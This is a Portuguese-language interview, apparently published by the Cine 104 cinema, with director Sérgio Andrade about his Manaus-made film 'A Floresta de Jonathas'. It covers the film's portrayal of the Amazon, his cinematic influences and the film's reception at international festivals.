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09 jan

[entrevista] 3 perguntas para Sérgio Andrade, diretor de “A Floresta de Jonathas”

*entrevista realizada por Marcelo Miranda

Depois de passar por 23 festivais ao redor do mundo, o longa-metragem A Floresta de Jonathas estreia dia 03 de janeiro no Cine 104. Primeiro filme produzido em Manaus, foi dirigido pelo manauense Sergio Andrade e possui grande parte do elenco formado por amazonenses.

Jonathas vive com os pais e o irmão Juliano em um sítio na área rural do Amazonas. A família se sustenta com a colheita e venda de frutas regionais. Uma barraca na beira da estrada é o lugar de contato com novos amigos e as novidades do mundo. Juliano é farrista e relaxado, enquanto Jonathas é mais centrado e sensível. Os irmãos conhecem Milly, uma visitante da Ucrânia, o indígena Kedassere e todos decidem passar o fim de semana em um camping. Mesmo contra a vontade paterna, Jonathas resolve ir. Seduzido por Milly e pela floresta, Jonathas empreenderá a mais transformadora de suas jornadas.

Com um elenco praticamente todo formado por amazonenses, A Floresta de Jonathas nasce da livre inspiração de um acontecimento real, o que possibilitou uma experiência documental. Entretanto, toda a narrativa acabou sendo tomada pela ficção. O filme é uma jornada intimista, que exercita o sensorial e o imaginário. Apresentando um personagem a procura da intimidade com a floresta. A Floresta de Jonathas é um filme sobre o contato com o universo ao nosso redor, a partir do ponto de vista regional. Uma visão contemporânea da Amazônia, sem gênero especifico e sem estereótipos.

CINE 104 – Como você definiria essa Amazônia mostrada em A Floresta de Jonathas?

Sérgio Andrade – Como algo que deixa de ser território ou lugar e passa a ser um campo de força telúrico; como uma área de neutralidade que assume sua porção não só selvagem, mas também desmistificadora. É um personagem, uma entidade, que reivindica sua força; é também um espaço de transição entre ela mesma e suas ideias preconcebidas.

CINE 104 – Há influências ou referências de outros cineastas ou artistas no seu trabalho de direção, desde seus curtas-metragens?

Sérgio Andrade – Essa coisa de trabalhar a natureza como um campo telúrico já existe no cinema desde F.W. Murnau, desde Robert Flaherty. Andrei Tarkovski traduziu bem essas forças; costumam achar influencias de Apichatpong Weerasethakul no filme, mas não surgiu forçadamente, acho que o cinema asiático trabalha atmosfera e arte muito bem, e meu trabalho acaba dialogando com isso. Não espanta que o filme tenha sido admirado em Taiwan e na Índia. Nos meus curtas e em A Floresta de Jonathas, vejo pontes com Gus Van Sant e Glauber Rocha, ou mesmo com Nicolas Roeg.

CINE 104 – A Floresta de Jonathas vem sendo exibido em diversos festivais internacionais. Como um filme profundamente fincado na geografia e num certo imaginário brasileiro, de que maneira ele é visto e comentado em outros países?

Sérgio Andrade – Tem sido bastante interessante e até indescritível acompanhar a recepção do filme pelo mundo. Estou tentado a escrever uma boa crônica sobre tudo isso, pois acaba sendo uma trajetória brasileira inusitada até para o próprio Brasil. Em Vancouver, Canadá, por exemplo, um grupo de pessoas entendeu que o filme não parecia brasileiro e que era intrigante. Eu não sei o que isso significa, mas, pelo que entendi, eles trataram como um filme apátrida. Nos EUA, essa desconstrução brasileira da Amazônia também impressionou, juntamente com elogios à qualidade técnica do som e da fotografia. Na Alemanha, e essa é uma leitura predominante na Europa, percebi um intenso interesse em como fazer e entender um filme “arthouse”, feito na floresta. Gostei quando um jovem estudante de Berlim disse que o filme parece ser realismo fantástico e não é, pois todas as forças são bem naturalistas. Vai entender… Acho que a coisa soturna na floresta impressiona os alemães, tanto que o filme será lançado comercialmente lá, e muito bem, com o subtítulo de In Dunklen Grün (“no verde escuro”). Na Índia, mostrar um filme para uma plateia lotada e alvoroçada é como ver um filho fazer um gol na decisão do campeonato. Os indianos respeitam cinema, tem uma adoração por filmes e também tem fascínio pela natureza como algo sagrado. Foi muito bom ver a vibração deles, aceitando o filme. Esse aspecto atmosférico também senti em Taipei, Taiwan, onde o filme esteve em competição, e acho que isso é um alicerce do cinema asiático que também sustenta o Floresta.

 

A floresta de Jonathas está em cartaz no Cine 104. Clique aqui e confira horários, sinopses e trailers.

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